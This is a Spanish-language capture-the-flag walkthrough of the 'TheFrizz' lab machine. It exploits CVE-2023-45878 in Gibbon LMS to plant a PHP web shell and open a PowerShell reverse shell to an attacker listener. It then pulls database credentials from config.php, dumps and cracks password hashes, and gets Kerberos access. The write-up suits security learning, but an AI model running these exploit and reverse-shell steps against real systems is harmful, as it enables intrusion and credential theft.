# Thefrizz

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-1583ad7aba40cdf79ac5bbdd407368fddc4b19d6%2F1.png?alt=media)

**Publicado:** 30 de Junio de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Medium\
**OS:** Windows

### 📝 Descripción

**TheFrizz** es una máquina Windows de dificultad media que simula un entorno de **Active Directory** con un servicio web que ejecuta **Gibbon LMS**. La explotación inicial se basa en aprovechar una vulnerabilidad de **escritura arbitraria de archivos** sin autenticación (**CVE-2023-45878**) en Gibbon LMS v25.0.1, que permite subir una web shell PHP y obtener **RCE (Remote Code Execution)**.

Una vez dentro del sistema, se realizan tareas de **post-explotación** para descubrir credenciales de base de datos almacenadas en archivos de configuración. A través de la **enumeración de la base de datos MySQL**, se obtienen hashes de contraseñas que se crackearon exitosamente, permitiendo el acceso SSH al dominio y la **escalada de privilegios** mediante técnicas de **autenticación Kerberos**.

Esta máquina pone a prueba habilidades en:

* **Explotación de vulnerabilidades web** (CVE-2023-45878)
* **Enumeración de Active Directory**
* **Cracking de hashes** con técnicas de salt
* **Autenticación Kerberos** y manejo de tickets
* **Post-explotación** en entornos Windows

***

### 📊 Resumen de la Explotación

#### 🔗 Cadena de Ataque

```mermaid
graph TB
    A[🔍 Reconocimiento] --> B[🚀 Escaneo de Puertos]
    B --> C[🌐 Descubrimiento de Gibbon LMS]
    C --> D[🎯 CVE-2023-45878 - RCE]
    D --> E[📂 Acceso como w.webservice]
    E --> F[🔐 Extracción de credenciales DB]
    F --> G[🗃️ Enumeración de MySQL]
    G --> H[💥 Cracking de hashes]
    H --> I[🎫 Obtención de TGT Kerberos]
    I --> J[🏆 Acceso SSH como f.frizzle]
```

### 🎯 Puntos Clave

🔥 **Vulnerabilidades Críticas:**

* **CVE-2023-45878**: Escritura arbitraria de archivos sin autenticación en Gibbon LMS
* **Credenciales hardcodeadas** en archivos de configuración
* **Hashes débiles** con salt predecible

🛡️ **Técnicas de Explotación:**

* **File Upload Bypass** para RCE
* **Database Enumeration** post-compromiso
* **Hash Cracking** con salt customizado
* **Kerberos Authentication** con TGT

🎯 **Servicios Objetivo:**

* **Gibbon LMS** (Puerto 80) - Punto de entrada
* **MySQL** (Local) - Escalada de privilegios
* **SSH** (Puerto 22) - Acceso final
* **Kerberos** (Puerto 88) - Autenticación de dominio

***

### 🔭 Reconocimiento

#### 🏓 Ping para verificación en base a TTL

```bash
❯ ping -c2 10.10.11.60     
PING 10.10.11.60 (10.10.11.60) 56(84) bytes of data.
64 bytes from 10.10.11.60: icmp_seq=1 ttl=127 time=42.5 ms
64 bytes from 10.10.11.60: icmp_seq=2 ttl=127 time=44.1 ms

--- 10.10.11.60 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1005ms
rtt min/avg/max/mdev = 42.527/43.308/44.089/0.781 ms
```

> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

#### 🚀 Escaneo de puertos

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.60 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
echo $ports                                                                        
22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49670,59524,59528,59537
```

#### 🔍 Enumeración de servicios

```bash
nmap -sC -sV -p$ports 10.10.11.60 -oN services.txt                         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 17:50 CEST
Nmap scan report for 10.10.11.60
Host is up (0.042s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-30 22:50:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
59524/tcp open  msrpc         Microsoft Windows RPC
59528/tcp open  msrpc         Microsoft Windows RPC
59537/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-30T22:51:40
|_  start_date: N/A
```

⚠️ **Añadimos el siguiente vhost a nuestro fichero /etc/hosts:**

```bash
echo "10.10.11.60 frizz.htb frizzdc.frizz.htb" | sudo tee -a /etc/hosts
```

#### 📋 Análisis de Servicios Detectados

| Puerto      | Servicio    | Descripción                         |
| ----------- | ----------- | ----------------------------------- |
| **22**      | SSH         | OpenSSH for Windows - Acceso remoto |
| **53**      | DNS         | Servicio DNS del dominio            |
| **80**      | HTTP        | Servidor web Apache con PHP         |
| **88**      | Kerberos    | Autenticación del dominio           |
| **135**     | MSRPC       | Llamadas a procedimientos remotos   |
| **139/445** | SMB/NetBIOS | Recursos compartidos                |
| **389/636** | LDAP/LDAPS  | Directorio activo                   |

🔥 **Servicios críticos identificados:**

* **Dominio Active Directory**: `frizz.htb`
* **Controlador de dominio**: `FRIZZDC`
* **Desfase horario**: 6h59m59s (crítico para Kerberos)
* **Firma SMB**: Requerida (entorno seguro)

***

### 🌐 Enumeración de Servicios

#### 🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar sin éxito posibles recursos mediante una sesión nula:

**🔒 Enumeración de recursos compartidos**

```bash
smbclient -N -L 10.10.11.60                        
session setup failed: NT_STATUS_NOT_SUPPORTED
```

```bash
netexec smb 10.10.11.60 -u anonymous -p ''                                    
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60\anonymous: STATUS_NOT_SUPPORTED 
```

> ❌ **Resultado**: No se permite acceso anónimo a recursos SMB

#### 🌐 HTTP (Puerto 80) - Servicio Web Principal

**🏠 Página Principal (<http://frizzdc.frizz.htb>)**

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-2fff934bd25d6a1cd2ef79f47ccd3d9e97886bbb%2F2.png?alt=media)

**🎓 Gibbon LMS Discovery**

Al pulsar en la opción **Staff Login** somos redireccionados al siguiente servicio implementado con Gibbon LMS:

**URL**: `http://frizzdc.frizz.htb/Gibbon-LMS/`

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e0bafbf9cdb4a29e121d7633e369f69e06a679a3%2F3.png?alt=media)

**🔍 Fingerprinting del Servicio**

```bash
whatweb -a 3 frizzdc.frizz.htb/Gibbon-LMS/ 

http://frizzdc.frizz.htb/Gibbon-LMS/ [200 OK] Apache[2.4.58], Cookies[G60fa1cd0af7be78b], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], HttpOnly[G60fa1cd0af7be78b], IP[10.10.11.60], JQuery, Meta-Author[Ross Parker, International College Hong Kong], OpenSSL[3.1.3], PHP[8.2.12], PasswordField[password], Script[text/javascript], Title[WES - Gibbon], X-Frame-Options[SAMEORIGIN]
```

**📚 Información sobre Gibbon LMS**

**Gibbon** es una plataforma de gestión escolar flexible y de código abierto diseñada para mejorar la vida de profesores, estudiantes, padres y líderes.

**Versión identificada**: v25.0.00

**🚨 Investigación de Vulnerabilidades**

La versión instalada (v25.0.00) es vulnerable a múltiples CVEs para versiones anteriores a la v26.0:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-490df0845f3e1bd4633ee55e929dee466c0604b7%2F4.png?alt=media)

**🎯 CVE-2023-45878 - Escritura Arbitraria de Archivos**

**Descripción**: GibbonEdu Gibbon versión 25.0.1 y anteriores permite la escritura arbitraria de archivos porque `rubrics_visualise_saveAjax.php` no requiere autenticación.

**Parámetros vulnerables**:

* `img`: Imagen codificada en base64
* `path`: Ruta de destino
* `gibbonPersonID`: ID de persona

**Impacto**: Permite la creación de archivos PHP que posibilitan la **ejecución remota de código no autenticado**.

***

### 🎯 Explotación - CVE-2023-45878

#### 🔧 Herramienta de Explotación

Existe un exploit público que facilita la explotación de esta vulnerabilidad:

**Repositorio**: <https://github.com/davidzzo23/CVE-2023-45878>

```bash
git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878
```

#### 🧪 Verificación de RCE

Confirmamos la ejecución remota de comandos a través del exploit:

```bash
python3 CVE-2023-45878.py -t 10.10.11.60 -c whoami 

[+] Uploading web shell as jgmlfjwg.php...
[+] Upload successful.
[+] Executing command on: http://10.10.11.60/Gibbon-LMS/jgmlfjwg.php?cmd=whoami
[+] Command output:
frizz\w.webservice
```

✅ **Resultado**: Ejecución exitosa como usuario `frizz\w.webservice`

#### 🐚 Obtención de Reverse Shell

El exploit incluye funcionalidad para obtener una reverse shell de PowerShell:

```bash
python3 CVE-2023-45878.py -t 10.10.11.60 -s -i 10.10.14.9 -p 443

[+] Uploading web shell as yoixxtpt.php...
[+] Upload successful.
[+] Sending PowerShell reverse shell payload to http://10.10.11.60/Gibbon-LMS/yoixxtpt.php
[*] Make sure your listener is running: nc -lvnp 443
```

#### 📞 Listener y Conexión

```bash
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.60] 57245
whoami
frizz\w.webservice
PS C:\xampp\htdocs\Gibbon-LMS> pwd

Path                      
----                      
C:\xampp\htdocs\Gibbon-LMS
```

🎉 **Acceso inicial obtenido como `frizz\w.webservice`**

***

### 🔍 Post-Explotación y Escalada de Privilegios

#### 📂 Enumeración del Sistema

Una vez en la máquina, observamos que el directorio Users está vacío. Centramos la enumeración en el directorio xampp.

#### 🔐 Descubrimiento de Credenciales

Ubicamos un archivo de configuración crítico en: **Ruta**: `C:\xampp\htdocs\Gibbon-LMS\config.php`

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-2d0eaf2c0c94d436f15a2c7ba888aa6fb6ef0940%2F7.png?alt=media)

**Credenciales encontradas**:

```php
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
```

#### 🗃️ Enumeración de Base de Datos

Utilizamos el binario `mysql.exe` de la instalación de XAMPP:

**📊 Exploración de bases de datos**

```bash
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW DATABASES;" -E
```

**📋 Enumeración de tablas**

```bash
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SHOW TABLES;" -E
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5f42fde8cee460f49a6efe166c21187e15419640%2F8.png?alt=media)

**👥 Extracción de usuarios**

```bash
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f4c869e81af4efada3c0b1063fae41e334ef1c57%2F9.png?alt=media)

#### 💥 Cracking de Hashes

**Hash objetivo identificado**:

* **Usuario**: `f.frizzle`
* **Hash**: `067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03`
* **Salt**: `/aACFhikmNopqrRTVz2489`

**🔨 Preparación para John The Ripper**

Creamos un archivo con el formato correcto:

```bash
f.frizzle:$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
```

**🎯 Ataque de diccionario**

```bash
john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt frizle-hash.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-6603abb755861818842c1e37c1425bca33655d88%2F10.png?alt=media)

🔓 **Credencial descifrada**: `f.frizzle:Jenni_Luvs_Magic23`

***

### 🎫 Autenticación Kerberos

#### ⏰ Sincronización de Tiempo

```bash
sudo ntpdate frizzdc.frizz.htb
```

#### 🎟️ Obtención de TGT

```bash
impacket-getTGT frizz.htb/'f.frizzle':'Jenni_Luvs_Magic23' -dc-ip frizzdc.frizz.htb
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a69835379b6546699a31ba63cb7fe09da2ae6a50%2F11.png?alt=media)

#### 🔧 Configuración del Ticket

```bash
export KRB5CCNAME=f.frizzle.ccache
```

#### 🚪 Acceso SSH Final

```bash
ssh f.frizzle@frizz.htb -K
```

🏆 **Acceso exitoso al sistema como `f.frizzle`**
